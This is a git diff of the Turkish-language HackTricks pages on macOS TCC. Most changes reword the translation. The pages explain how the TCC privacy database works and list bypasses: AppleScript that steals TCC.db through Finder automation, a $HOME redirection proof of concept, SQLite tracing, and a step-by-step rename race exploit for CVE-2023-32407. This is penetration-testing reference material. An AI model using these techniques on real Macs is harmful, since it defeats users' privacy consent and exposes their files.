+Ancak, kullanıcılar **`tccutil`** komut satırı yardımcı programı ile **kuralları silebilir veya sorgulayabilir**.
{% endhint %}
#### Veritabanlarını sorgulama
@@ -127,12 +127,12 @@ Her iki veritabanını da kontrol ederek bir uygulamanın izin verdiği, yasakla
{% endhint %}
- **`service`**, TCC **izin** dizesinin temsilidir
-- **`client`**, izinlere sahip olan **bundle ID** veya **binary yoludur**
-- **`client_type`**, bir Bundle Kimliği(0) mi yoksa mutlak yol(1) mi olduğunu belirtir
+- **`client`**, izinlerle birlikte **bundle ID** veya **binary yolunu** içerir
+- **`client_type`**, Bundle Kimliği(0) veya mutlak yol(1) olup olmadığını belirtir
-Absolut yol olduğunda nasıl yürütülür
+Absolut yol ise nasıl yürütülür
Sadece **`launctl load you_bin.plist`** yapın, plist ile:
```xml
@@ -175,7 +175,7 @@ Sadece **`launctl load you_bin.plist`** yapın, plist ile:
* **`auth_value`** farklı değerlere sahip olabilir: denied(0), unknown(1), allowed(2) veya limited(3).
* **`auth_reason`** aşağıdaki değerleri alabilir: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12)
-* **csreq** alanı, yürütülecek olan ikili dosyayı nasıl doğrulayacağını ve TCC izinlerini nasıl vereceğini belirtmek için bulunmaktadır:
+* **csreq** alanı, yürütülecek olan ikili dosyayı doğrulamanın ve TCC izinlerini vermenin nasıl belirtileceğini göstermek için bulunmaktadır:
```bash
# Query to get cserq in printable hex
select service, client, hex(csreq) from access where auth_value=2;
@@ -193,7 +193,7 @@ echo "X'$REQ_HEX'"
```
* Tablonun **diğer alanları** hakkında daha fazla bilgi için [**bu blog yazısına**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive) göz atabilirsiniz.
-Ayrıca, uygulamalara verilen izinleri `Sistem Tercihleri --> Güvenlik ve Gizlilik --> Gizlilik --> Dosyalar ve Klasörler` bölümünden kontrol edebilirsiniz.
+Ayrıca, `Sistem Tercihleri --> Güvenlik ve Gizlilik --> Gizlilik --> Dosyalar ve Klasörler` bölümünde uygulamalara verilen **izinleri zaten kontrol edebilirsiniz**.
{% hint style="success" %}
Kullanıcılar **`tccutil`** kullanarak **kuralları silebilir veya sorgulayabilir**.
@@ -230,11 +230,11 @@ Bu nedenle, aynı adı ve paket kimliğini kullanan diğer uygulamalar, diğer u
### Yetkiler ve TCC İzinleri
Uygulamalar **sadece** bazı kaynaklara **erişim istemekle kalmaz**, aynı zamanda **ilgili yetkilere sahip olmalıdır**.\
-Örneğin **Telegram**, kameraya **erişim istemek** için `com.apple.security.device.camera` yetkisine sahiptir. Bu **yetkiye sahip olmayan bir uygulama** kameraya erişemez (ve kullanıcı izinleri bile istenmez).
+Örneğin **Telegram**, kameraya **erişim istemek** için `com.apple.security.device.camera` yetkisine sahiptir. Bu **yetkiye sahip olmayan bir uygulama**, kameraya erişemez (ve kullanıcı izinleri için bile sorulmaz).
-Ancak, uygulamaların `~/Desktop`, `~/Downloads` ve `~/Documents` gibi **belirli kullanıcı klasörlerine erişmesi** için herhangi bir **özel yetkiye ihtiyaçları yoktur.** Sistem, erişimi şeffaf bir şekilde ele alacak ve gerektiğinde **kullanıcıya uyarı gösterecektir.**
+Ancak, uygulamaların `~/Desktop`, `~/Downloads` ve `~/Documents` gibi **belirli kullanıcı klasörlerine erişmek** için herhangi bir **özel yetkiye ihtiyaçları yoktur.** Sistem, erişimi şeffaf bir şekilde ele alacak ve gerektiğinde **kullanıcıya soracak**tır.
-Apple'ın uygulamaları **uyarılar oluşturmaz.** Onlar, **yetkilendirme listelerinde önceden verilmiş haklara** sahiptir, bu da **asla bir pencere oluşturmayacakları** ve **TCC veritabanlarında görünmeyecekleri** anlamına gelir. Örneğin:
+Apple'ın uygulamaları **pencere oluşturmaz**. Onlar, **yetki listelerinde önceden verilmiş haklara** sahiptir, bu da **asla bir pencere oluşturmayacakları** ve **TCC veritabanlarında görünmeyecekleri** anlamına gelir. Örneğin:
```bash
codesign -dv --entitlements :- /System/Applications/Calendar.app
[...]
@@ -245,15 +245,15 @@ codesign -dv --entitlements :- /System/Applications/Calendar.app
kTCCServiceAddressBook
```
-Bu, Takvim'in kullanıcıya hatırlatıcılar, takvim ve adres defterine erişim istemesini engelleyecektir.
+Bu, Takvim'in kullanıcıdan hatırlatıcılar, takvim ve adres defterine erişim istemesini engelleyecektir.
{% hint style="success" %}
-Yetkilendirmeler hakkında resmi belgelere ek olarak, [https://newosxbook.com/ent.jl](https://newosxbook.com/ent.jl) adresinde **yetkilendirmelerle ilgili ilginç bilgileri** de bulmak mümkündür.
+Yetkilendirmeler hakkında resmi belgelerin yanı sıra, [https://newosxbook.com/ent.jl](https://newosxbook.com/ent.jl) adresinde **yetkilendirmelerle ilgili ilginç bilgileri** de bulmak mümkündür.
{% endhint %}
-Bazı TCC izinleri şunlardır: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePhotos... Tümünü tanımlayan genel bir liste bulunmamaktadır, ancak [**bilinenlerin listesini**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service) kontrol edebilirsiniz.
+Bazı TCC izinleri şunlardır: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePhotos... Tüm bunları tanımlayan genel bir liste bulunmamaktadır, ancak bu [**bilinenlerin listesini**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service) kontrol edebilirsiniz.
-### Hassas korunmasız yerler
+### Hassas korumasız yerler
* $HOME (kendisi)
* $HOME/.ssh, $HOME/.aws, vb.
@@ -261,7 +261,7 @@ Bazı TCC izinleri şunlardır: kTCCServiceAppleEvents, kTCCServiceCalendar, kTC
### Kullanıcı Niyeti / com.apple.macl
-Daha önce belirtildiği gibi, bir dosyaya erişime izin vermek için onu bir uygulamaya sürükleyip bırakmak mümkündür. Bu erişim, herhangi bir TCC veritabanında belirtilmeyecek ancak dosyanın **uzatılmış bir özniteliği** olarak saklanacaktır. Bu öznitelik, izin verilen uygulamanın **UUID'sini saklayacaktır**:
+Daha önce belirtildiği gibi, bir dosyaya erişime izin vermek için onu bir uygulamaya sürükleyip bırakmak mümkündür. Bu erişim, herhangi bir TCC veritabanında belirtilmeyecek ancak dosyanın **uzatılmış bir özniteliği** olarak saklanacaktır. Bu öznitelik, izin verilen uygulamanın **UUID'sini** saklayacaktır:
```bash
xattr Desktop/private.txt
com.apple.macl
@@ -277,18 +277,18 @@ otool -l /System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal| gr
uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3
```
{% hint style="info" %}
-**`com.apple.macl`** özniteliğinin **Sandbox** tarafından yönetildiği, tccd tarafından değil, ilginçtir.
+**`com.apple.macl`** özniteliğinin **Sandbox** tarafından yönetilmesi, tccd tarafından değil, oldukça ilginçtir.
Ayrıca, bilgisayarınızdaki bir uygulamanın UUID'sine izin veren bir dosyayı farklı bir bilgisayara taşırsanız, çünkü aynı uygulamanın farklı UID'leri olacaktır, o uygulamaya erişim izni vermez.
{% endhint %}
-`com.apple.macl` genişletilmiş özniteliği, diğer genişletilmiş öznitelikler gibi **SIP** tarafından korunduğu için **temizlenemez**. Bununla birlikte, [**bu yazıda açıklandığı gibi**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/), dosyayı **sıkıştırarak**, **silmeyi** ve **sıkıştırılmış dosyayı açmayı** devre dışı bırakmak mümkündür.
+`com.apple.macl` genişletilmiş özniteliği, diğer genişletilmiş öznitelikler gibi **SIP tarafından korunduğu için** **temizlenemez**. Bununla birlikte, [**bu yazıda açıklandığı gibi**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/), dosyayı **sıkıştırarak**, **silmeyi** ve **sıkıştırmayı** devre dışı bırakmak mümkündür.
## TCC Privesc & Bypasses
### TCC'ye Ekleme
-Bir noktada bir TCC veritabanı üzerinde yazma erişimi elde ederseniz, aşağıdakine benzer bir şeyi eklemek için şunu kullanabilirsiniz (yorumları kaldırın):
+Bir noktada bir TCC veritabanı üzerinde yazma erişimi elde ederseniz, aşağıdakine benzer bir şey kullanabilirsiniz (yorumları kaldırın):
@@ -336,7 +336,7 @@ strftime('%s', 'now') -- last_reminded with default current timestamp
### TCC Yükleri
-Eğer bir uygulamaya bazı TCC izinleriyle girdiyseniz, bunları kötüye kullanmak için aşağıdaki sayfayı kontrol edin:
+Eğer bir uygulamaya bazı TCC izinleriyle girdiyseniz, bunları kötüye kullanmak için TCC yükleri sayfasına bakın:
{% content-ref url="macos-tcc-payloads.md" %}
[macos-tcc-payloads.md](macos-tcc-payloads.md)
@@ -345,13 +345,13 @@ Eğer bir uygulamaya bazı TCC izinleriyle girdiyseniz, bunları kötüye kullan
### Otomasyon (Finder) için FDA\*
Otomasyon izninin TCC adı: **`kTCCServiceAppleEvents`**\
-Bu belirli TCC izni aynı zamanda TCC veritabanı içinde **yönetilebilecek uygulamayı** belirtir (yani izinler sadece her şeyi yönetmeye izin vermez).
+Bu belirli TCC izni aynı zamanda TCC veritabanı içinde **yönetilebilecek uygulamayı** da belirtir (yani izinler sadece her şeyi yönetmeye izin vermez).
-**Finder**, **her zaman FDA'ya sahip** bir uygulamadır (UI'de görünmese bile), bu yüzden üzerinde **Otomasyon** ayrıcalıklarınız varsa, bu ayrıcalıkları kötüye kullanarak **bazı işlemler yapmasını sağlayabilirsiniz**.\
+**Finder**, **her zaman FDA'ya sahip** bir uygulamadır (UI'de görünmese bile), bu yüzden üzerinde **Otomasyon** ayrıcalıklarınız varsa, bu ayrıcalıkları kötüye kullanarak **bazı işlemler yaptırabilirsiniz**.\
Bu durumda uygulamanızın **`com.apple.Finder`** üzerinde **`kTCCServiceAppleEvents`** iznine ihtiyacı olacaktır.
{% tabs %}
-{% tab title="Kullanıcıların TCC.db dosyasını çalma" %}
+{% tab title="Kullanıcıların TCC.db'sini Çalma" %}
```applescript
# This AppleScript will copy the system TCC database into /tmp
osascript<
+
{% hint style="danger" %}
-**Automator** uygulamasının **`kTCCServiceAppleEvents`** TCC iznine sahip olması nedeniyle, Finder gibi herhangi bir uygulamayı **kontrol edebilir**. Bu nedenle, Automator'ı kontrol etme iznine sahip olduğunuzda aşağıdaki gibi bir kodla **Finder'ı** da kontrol edebilirsiniz:
+**Automator** uygulamasının **`kTCCServiceAppleEvents`** TCC iznine sahip olması nedeniyle, Finder gibi herhangi bir uygulamayı **kontrol edebilir**. Bu nedenle, Automator'ı kontrol etme iznine sahip olduğunuzda aşağıdaki gibi bir kodla **Finder'ı da kontrol edebilirsiniz**:
{% endhint %}
@@ -422,7 +422,7 @@ EOD
### Otomasyon (SE) bazı TCC'lere
-**Sistem Olayları Klasör Eylemleri oluşturabilir ve Klasör eylemleri bazı TCC klasörlerine erişebilir** (Masaüstü, Belgeler ve İndirmeler), bu nedenle aşağıdaki gibi bir betik bu davranışı kötüye kullanmak için kullanılabilir:
+**Sistem Olayları** Klasör Eylemleri oluşturabilir ve Klasör eylemleri bazı TCC klasörlerine erişebilir (Masaüstü, Belgeler ve İndirmeler), bu nedenle aşağıdaki gibi bir betik bu davranışı kötüye kullanmak için kullanılabilir:
```bash
# Create script to execute with the action
cat > "/tmp/script.js" <
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/README.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/README.md
index 8dae292a7..8e7e6bc57 100644
--- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/README.md
+++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/README.md
@@ -2,11 +2,11 @@
-Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile!
+Sıfırdan kahraman olana kadar AWS hacklemeyi öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!
HackTricks'i desteklemenin diğer yolları:
-* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
@@ -55,7 +55,7 @@ Varsayılan olarak **SSH üzerinden erişim "Tam Disk Erişimi"**ne sahiptir. Bu
![](<../../../../../.gitbook/assets/image (569).png>)
-İşte bazı **kötü amaçlı yazılımların bu korumayı atlatmayı** nasıl başardığının örnekleri:
+İşte bazı **kötü amaçlı yazılımların bu korumayı atlatmayı** nasıl başardığını gösteren örnekler:
* [https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/](https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/)
@@ -65,21 +65,21 @@ Varsayılan olarak **SSH üzerinden erişim "Tam Disk Erişimi"**ne sahiptir. Bu
### Uzantıları İşleme - CVE-2022-26767
-Dosyalara **belirli bir uygulamanın okuma izinlerini vermek** için **`com.apple.macl`** özniteliği verilir. Bu öznitelik, bir dosyayı bir uygulamanın üzerine sürükleyip bıraktığınızda veya bir kullanıcı dosyayı **çift tıklattığında** varsayılan uygulama ile açtığında ayarlanır.
+Dosyalara **belirli bir uygulamanın okuma izinlerini vermek** için **`com.apple.macl`** özniteliği verilir. Bu öznitelik, bir dosyayı bir uygulamanın üzerine **sürükleyip bıraktığınızda** veya bir kullanıcı bir dosyayı **çift tıklattığında** varsayılan uygulama ile açtığında ayarlanır.
-Bu nedenle, bir kullanıcı **tüm uzantıları ele alacak kötü amaçlı bir uygulama** kaydedebilir ve Launch Services'ı çağırarak herhangi bir dosyayı **açabilir** (bu nedenle kötü amaçlı dosya okuma izni verilir).
+Bu nedenle, bir kullanıcı **tüm uzantıları işlemek için kötü amaçlı bir uygulama** kaydedebilir ve Launch Services'ı çağırarak herhangi bir dosyayı **açabilir** (bu nedenle kötü amaçlı dosya okuma izni verilir).
### iCloud
-**`com.apple.private.icloud-account-access`** ayrıcalığı ile **`com.apple.iCloudHelper`** XPC hizmetiyle iletişim kurmak mümkündür ve bu hizmet **iCloud belgelerini sağlayacaktır**.
+**`com.apple.private.icloud-account-access`** ayrıcalığı ile **`com.apple.iCloudHelper`** XPC hizmetiyle iletişim kurulabilir ve bu hizmet **iCloud belgelerini sağlayabilir**.
-**iMovie** ve **Garageband** bu ayrıcalığa sahipti ve diğerleri de sahipti.
+**iMovie** ve **Garageband** bu ayrıcalığa sahipti ve diğerleri de sahip olabilir.
-Bu ayrıcalıktan **iCloud belgelerini almak** için bir açıdan daha fazla **bilgi** için şu konuşmayı kontrol edin: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
+Bu ayrıcalıktan **iCloud belgelerini almak için** kullanılan açıktan daha fazla **bilgi** için şu konuşmayı kontrol edin: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
### kTCCServiceAppleEvents / Otomasyon
-**`kTCCServiceAppleEvents`** iznine sahip bir uygulama **diğer Uygulamaları kontrol edebilecektir**. Bu, diğer Uygulamalara verilen izinleri **kötüye kullanabileceği anlamına gelir**.
+**`kTCCServiceAppleEvents`** iznine sahip bir uygulama **diğer Uygulamaları kontrol edebilir**. Bu, diğer Uygulamalara verilen izinleri **kötüye kullanabileceği** anlamına gelir.
Apple Betikleri hakkında daha fazla bilgi için kontrol edin:
@@ -93,7 +93,7 @@ Apple Betikleri hakkında daha fazla bilgi için kontrol edin:
#### iTerm Üzerinde
-FDA'ya sahip olmayan Terminal, FDA'ya sahip iTerm'i çağırabilir ve işlemleri gerçekleştirmek için kullanabilir:
+FDA'ya sahip olmayan Terminal, FDA'ya sahip iTerm'i çağırabilir ve onu kullanarak işlemler gerçekleştirebilir:
{% code title="iterm.script" %}
```applescript
@@ -113,7 +113,7 @@ osascript iterm.script
```
#### Finder Üzerinden
-Veya bir Uygulamanın Finder üzerinden erişimi varsa, şöyle bir betik olabilir:
+Veya bir Uygulamanın Finder üzerinden erişimi varsa, şöyle bir betik çalıştırabilir:
```applescript
set a_user to do shell script "logname"
tell application "Finder"
@@ -129,8 +129,8 @@ do shell script "rm " & POSIX path of (copyFile as alias)
Kullanıcı alanı **tccd daemon**'ı, TCC kullanıcı veritabanına erişmek için **`HOME`** **env** değişkenini kullanır: **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`**
-[Şu Stack Exchange gönderisine](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) göre ve TCC daemon'ının mevcut kullanıcının etki alanı içinde `launchd` aracılığıyla çalıştırıldığından, **tüm çevre değişkenlerini kontrol etmek mümkündür**.\
-Bu nedenle, bir **saldırgan**, **`launchctl`** içinde **`$HOME`** çevre değişkenini kontrol edilen bir **dizine** işaret etmek üzere ayarlayabilir, **TCC** daemon'ını **yeniden başlatabilir** ve ardından TCC veritabanını **doğrudan değiştirerek** kendisine **kullanılabilir tüm TCC yetkilerini** vererek son kullanıcıya hiçbir zaman soru sormadan yetkilendirebilir.\
+[Şu Stack Exchange gönderisine](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) göre ve TCC daemonı mevcut kullanıcının etki alanı içinde `launchd` aracılığıyla çalıştığından, **tüm çevre değişkenlerini kontrol etmek mümkündür**.\
+Bu nedenle, bir **saldırgan**, **`launchctl`** içinde **`$HOME`** çevre değişkenini kontrol edilen bir **dizine** işaret etmek için ayarlayabilir, **TCC** daemonını **yeniden başlatabilir** ve ardından **TCC veritabanını doğrudan değiştirerek** kendisine **kullanılabilir tüm TCC yetkilerini** vererek son kullanıcıya hiçbir zaman sormadan.\
PoC:
```bash
# reset database just in case (no cheating!)
@@ -166,28 +166,28 @@ Notlar, TCC korumalı konumlara erişime sahipti ancak bir not oluşturulduğund
### CVE-2021-30782 - Taşınma
-`/usr/libexec/lsd` ikili dosyası, `libsecurity_translocate` kütüphanesiyle birlikte `com.apple.private.nullfs_allow` yetkisine sahipti, bu da **nullfs** bağlantısını oluşturmasına izin veriyordu ve `com.apple.private.tcc.allow` yetkisine sahipti ve **`kTCCServiceSystemPolicyAllFiles`** ile her dosyaya erişim sağlıyordu.
+`/usr/libexec/lsd` ikili dosyası, `libsecurity_translocate` kütüphanesi ile `com.apple.private.nullfs_allow` yetkisine sahipti, bu da **nullfs** bağlantısını oluşturmasına izin veriyordu ve `com.apple.private.tcc.allow` yetkisine sahipti ve **`kTCCServiceSystemPolicyAllFiles`** ile her dosyaya erişim sağlıyordu.
-"Library" klasörüne karantina özniteliği eklemek, **`com.apple.security.translocation`** XPC servisini çağırmak ve ardından Library'yi **`$TMPDIR/AppTranslocation/d/d/Library`**'ye eşlemek ve Library içindeki tüm belgelere **erişmek** mümkündü.
+"Library" klasörüne karantina özniteliği eklemek, **`com.apple.security.translocation`** XPC servisini çağırmak ve ardından Library'yi **`$TMPDIR/AppTranslocation/d/d/Library`** olarak eşlemek ve Library içindeki tüm belgelere **erişmek** mümkündü.
### CVE-2023-38571 - Müzik ve TV
-**`Müzik`** ilginç bir özelliğe sahiptir: Çalıştığında, kullanıcının "ortam kütüphanesine" **`~/Music/Music/Media.localized/Automatically Add to Music.localized`**'e bırakılan dosyaları **ithal eder**. Ayrıca şuna benzer bir şey çağırır: **`rename(a, b);`** burada `a` ve `b` şunlardır:
+**`Müzik`** ilginç bir özelliğe sahiptir: Çalıştığında, kullanıcının "ortam kütüphanesine" **`~/Music/Music/Media.localized/Automatically Add to Music.localized`** bırakılan dosyaları **ithal eder**. Ayrıca şunu çağırır: **`rename(a, b);`** burada `a` ve `b` şunlardır:
* `a = "~/Music/Music/Media.localized/Automatically Add to Music.localized/myfile.mp3"`
* `b = "~/Music/Music/Media.localized/Automatically Add to Music.localized/Not Added.localized/2023-09-25 11.06.28/myfile.mp3`
-Bu **`rename(a, b);`** davranışı bir **Yarış Koşulu**'na karşı savunmasızdır, çünkü `Automatically Add to Music.localized` klasörüne sahte bir **TCC.db** dosyası yerleştirmek ve ardından yeni klasörün (b) oluşturulduğunda dosyayı kopyalamak, silmek ve onu **`~/Library/Application Support/com.apple.TCC`**'ye yönlendirmek mümkündür.
+Bu **`rename(a, b);`** davranışı bir **Yarış Koşulu**na karşı savunmasızdır, çünkü `Automatically Add to Music.localized` klasörüne sahte bir **TCC.db** dosyası yerleştirmek ve ardından yeni klasörün (b) oluşturulduğunda dosyayı kopyalamak, silmek ve onu **`~/Library/Application Support/com.apple.TCC`**'ye yönlendirmek mümkündür.
### SQLITE\_SQLLOG\_DIR - CVE-2023-32422
-Eğer **`SQLITE_SQLLOG_DIR="yol/klasör"`** ise temelde **herhangi bir açık db'nin o yola kopyalandığı** anlamına gelir. Bu CVE'de bu kontrol, **FDA'ya sahip bir işlem tarafından açılacak bir SQLite veritabanına yazmak** için kötüye kullanıldı ve ardından **`SQLITE_SQLLOG_DIR`**'yi **dosya adındaki sembolik bağlantı ile** kötüye kullanarak, bu veritabanı **açıldığında**, kullanıcı **TCC.db'si açılanla üzerine yazıldı**.
+**`SQLITE_SQLLOG_DIR="yol/klasör"`** ise temelde **herhangi bir açık db'nin o yola kopyalandığı** anlamına gelir. Bu CVE'de bu kontrol, **FDA'ya sahip bir işlem tarafından açılacak bir SQLite veritabanına yazmak** için kötüye kullanıldı ve ardından **`SQLITE_SQLLOG_DIR`**'yi dosya adındaki bir **sembolik bağlantı ile** kötüye kullanarak, bu veritabanı **açıldığında**, kullanıcı **TCC.db'si açılanla üzerine yazılır**.
-**Daha fazla bilgi** [**yazılı açıklamada**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **ve** [**sunumda**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y\&t=20548s).
+**Daha fazla bilgi** [**yazılımda**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **ve** [**sunumda**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y\&t=20548s).
### **SQLITE\_AUTO\_TRACE**
-Eğer **`SQLITE_AUTO_TRACE`** çevresel değişkeni ayarlanmışsa, **`libsqlite3.dylib`** kütüphanesi tüm SQL sorgularını **günlüğe kaydetmeye** başlayacaktır. Birçok uygulama bu kütüphaneyi kullandığından, tüm SQLite sorgularını günlüğe kaydetmek mümkündü.
+Eğer **`SQLITE_AUTO_TRACE`** ortam değişkeni ayarlanmışsa, **`libsqlite3.dylib`** kütüphanesi tüm SQL sorgularını **günlüğe kaydetmeye** başlayacaktır. Birçok uygulama bu kütüphaneyi kullandığından, tüm SQLite sorgularını günlüğe kaydetmek mümkündü.
Birçok Apple uygulaması, TCC korumalı bilgilere erişmek için bu kütüphaneyi kullanmaktadır.
```bash
@@ -198,23 +198,23 @@ launchctl setenv SQLITE_AUTO_TRACE 1
Bu **çevre değişkeni, çeşitli programların bağımlılığı olan `Metal` çerçevesi tarafından kullanılır**, en önemlisi `Music` programıdır, FDA'ya sahiptir.
-Aşağıdakini ayarlayarak: `MTL_DUMP_PIPELINES_TO_JSON_FILE="yol/ad"` Eğer `yol` geçerli bir dizin ise, hata tetiklenecek ve programda neler olduğunu görmek için `fs_usage` kullanabiliriz:
+Aşağıdaki ayarı yapmak: `MTL_DUMP_PIPELINES_TO_JSON_FILE="path/name"`. Eğer `path` geçerli bir dizin ise, hata tetiklenecek ve programda neler olup bittiğini görmek için `fs_usage` kullanabiliriz:
* `open()` ile `path/.dat.nosyncXXXX.XXXXXX` (X rastgele) adında bir dosya açılacak
-* bir veya daha fazla `write()` içeriği dosyaya yazacak (bunu kontrol etmiyoruz)
-* `path/.dat.nosyncXXXX.XXXXXX` `rename()` ile `path/ad` olarak yeniden adlandırılacak
+* bir veya daha fazla `write()` işlemi içeriği dosyaya yazacak (bunu kontrol etmiyoruz)
+* `path/.dat.nosyncXXXX.XXXXXX` `rename()` ile `path/name` olarak yeniden adlandırılacak
-Bu geçici bir dosya yazma işlemidir, ardından **güvenli olmayan bir şekilde `rename(eski, yeni)` gerçekleşir.**
+Bu geçici bir dosya yazma işlemidir, ardından **güvenli olmayan bir şekilde** **`rename(eski, yeni)`** işlemi gerçekleşir.
-Bu güvenli değildir çünkü **eski ve yeni yolları ayrı ayrı çözmesi** gerekir, bu da biraz zaman alabilir ve Yarış Koşulu'na karşı savunmasız olabilir. Daha fazla bilgi için `xnu` fonksiyonu olan `renameat_internal()`'a bakabilirsiniz.
+Bu güvenli değildir çünkü **eski ve yeni yolları ayrı ayrı çözmesi** gerekir, bu da biraz zaman alabilir ve Yarış Koşulu'na karşı savunmasız olabilir. Daha fazla bilgi için `xnu` fonksiyonu olan `renameat_internal()`'ı kontrol edebilirsiniz.
{% hint style="danger" %}
-Yani, temelde, bir ayrıcalıklı işlem, kontrol ettiğiniz bir klasörden yeniden adlandırma yaptığında, bir RCE kazanabilir ve farklı bir dosyaya erişim sağlayabilir veya bu CVE'de olduğu gibi, ayrıcalıklı uygulamanın oluşturduğu dosyayı açabilir ve bir FD saklayabilir.
+Yani, temelde, bir ayrıcalıklı işlem, kontrol ettiğiniz bir klasörden yeniden adlandırma yaptığında, bir RCE kazanabilir ve farklı bir dosyaya erişmesini veya bu CVE'de olduğu gibi, ayrıcalıklı uygulamanın oluşturduğu dosyayı açmasını ve bir FD saklamasını sağlayabilir.
Yeniden adlandırma, kontrol ettiğiniz bir klasöre erişirse, kaynak dosyayı değiştirmiş veya bir FD'si varsa, hedef dosyayı (veya klasörü) bir sembolik bağa işaret etmek için değiştirebilirsiniz, böylece istediğiniz zaman yazabilirsiniz.
{% endhint %}
-Bu, CVE'deki saldırı buydu: Örneğin, kullanıcının `TCC.db` dosyasını üzerine yazmak için:
+Bu, CVE'deki saldırıydı: Örneğin, kullanıcının `TCC.db` dosyasını üzerine yazmak için şunları yapabiliriz:
* `/Users/hacker/ourlink`'i `/Users/hacker/Library/Application Support/com.apple.TCC/`'ye işaret edecek şekilde oluşturun
* `/Users/hacker/tmp/` dizinini oluşturun
@@ -223,10 +223,10 @@ Bu, CVE'deki saldırı buydu: Örneğin, kullanıcının `TCC.db` dosyasını ü
* `/Users/hacker/tmp/.dat.nosyncXXXX.XXXXXX`'in `open()`'ını yakalayın (X rastgele)
* burada ayrıca bu dosyayı yazmak için `open()` yapın ve dosya tanımlayıcısını elinizde tutun
* `/Users/hacker/tmp`'yi atomik olarak `/Users/hacker/ourlink` ile **bir döngü içinde değiştirin**
-* bunu başarılı olma şansımızı maksimize etmek için yapıyoruz çünkü yarış penceresi oldukça dar, ancak yarışı kaybetmenin ihmal edilebilir bir dezavantajı var
+* bunu yapmamızın nedeni, yarış penceresinin oldukça dar olması nedeniyle başarılı olma şansımızı maksimize etmek, ancak yarışı kaybetmenin ihmal edilebilir bir dezavantajı vardır
* biraz bekleyin
* şanslı olup olmadığımızı test edin
-* değilse, tekrar en baştan çalıştırın
+* değilse, tekrar en baştan başlayın
Daha fazla bilgi için [https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html](https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html)
@@ -236,15 +236,15 @@ Daha fazla bilgi için [https://gergelykalman.com/lateralus-CVE-2023-32407-a-mac
### Apple Uzak Masaüstü
-Root olarak bu hizmeti etkinleştirebilir ve **ARD ajanı tam disk erişimine sahip olacak**, bu da ardından bir kullanıcının yeni **TCC kullanıcı veritabanını kopyalamasını** sağlayabileceği şekilde kötüye kullanılabilir.
+Root olarak bu hizmeti etkinleştirebilir ve **ARD ajanı tam disk erişimine sahip olacak**, bu da ardından bir kullanıcının yeni bir **TCC kullanıcı veritabanı** kopyalamasını sağlamak için kötüye kullanılabilir.
## **NFSHomeDirectory** ile
-TCC, kullanıcının HOME klasöründeki bir veritabanını kontrol etmek için kullanır, bu da kullanıcının **$HOME/Library/Application Support/com.apple.TCC/TCC.db**'deki kullanıcıya özgü kaynaklara erişimi kontrol etmesini sağlar.\
-Bu nedenle, kullanıcı, TCC'yi **farklı bir klasöre işaret eden $HOME çevresel değişkeni ile yeniden başlatmayı başarırsa**, kullanıcı **/Library/Application Support/com.apple.TCC/TCC.db**'de yeni bir TCC veritabanı oluşturabilir ve TCC'yi herhangi bir uygulamaya herhangi bir TCC iznini vermesi için kandırabilir.
+TCC, kullanıcının HOME klasöründeki bir veritabanını kontrol etmek için kullanır, bu da kullanıcının **$HOME/Library/Application Support/com.apple.TCC/TCC.db** yolundaki kullanıcıya özgü kaynaklara erişimi kontrol etmek için kullanılır.\
